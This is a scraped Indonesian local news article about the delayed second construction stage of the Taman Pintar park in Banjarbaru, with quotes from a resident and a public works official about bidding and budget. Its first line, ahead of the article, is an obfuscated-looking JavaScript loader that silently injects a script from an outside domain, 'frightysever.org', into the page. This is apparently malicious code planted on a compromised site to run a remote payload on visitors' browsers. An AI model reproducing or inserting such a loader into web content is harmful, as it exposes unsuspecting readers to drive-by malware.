(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Setelah tahap satu rampung akhir 2018 lalu, Ruang Terbuka Hijau (RTH) Taman Pintar di Jalan Panglima Batur Banjarbaru masih belum dilanjutkan. Dari depan, RTH ini hanya dibangun pagar dan beberapa ornamennya saja. Bagian dalamnya masih berupa lahan kosong. Belum ada tampak rupa bangunan yang disiapkan.
Belum adanya tampak pembangunan ini jadi sorotan beberapa warga. Salah satunya adalah Farid, warga Pinus Mentaos ini mengatakan sebetulnya ingin bisa segera menikmati Taman Pintar. “Baru akhir pekan kemarin niatnya mau ngajak anak. Ternyata baru bagian depan yang rampung. Bagian dalammya masih kosong,” keluhnya.
Saat dikonfirmasi ke Dinas Pekerjaan Umum & Penataan Ruang (PUPR) Kota Banjarbaru selaku pemegang proyek, Kabid Tata Ruang PUPR Banjarbaru, Sahidan mengatakan, pembangunan tahap dua sudah dipastikan dilanjutkan. Hanya saja sekarang sebutnya masih dalam proses penyusunan dokumen lelang.
Kabid Tata Ruang Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Banjarbaru Sahidan mengatakan bahwa pada tahun ini pembangunan taman pintar akan kembali dilanjutkan. “Ini sudah tahap penyusunan dokumen oleh tim kita untuk lelang. Insya Allah semoga pertengahan puasa sudah di ULP untuk proses lelang,” katanya.
Lanjutnya, taman dengan luasan sekitar 2600 meter yang ini ditargetkan harus rampung tahun 2019 ini. “Harus tahun ini. Estimasi paling lambat awal Desember sudah selesai.”
Adapun untuk pengerjaan tahap 2, Sahidan menyebut ada beberapa fasilitas yang disiapkan. Seperti tangga konversi, peta dunia, pengenalan tata surya, hingga dinding kearifan lokal. “Tahap dua ini dibangun di bagian tengah taman. Iya ada beberapa fasilitas tematik tadi sesuai namanya Taman Pintar,” ujarnya.
Ternyata, pembangunan tahap 2 bukan akhir dari proses pengerjaan Taman Pintar. Pasalnya dengan biaya tahap dua sebesar Rp1,7 miliar, Sahidan menyebut masih belum cukup untuk mengakomodir keseluruhan. “Jika disetujui akan ada tahap 3. Sebab di tahap 2 ini anggarannya terbatas dan hanya cukup untuk di bagian tengah tadi,” jawabnya. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.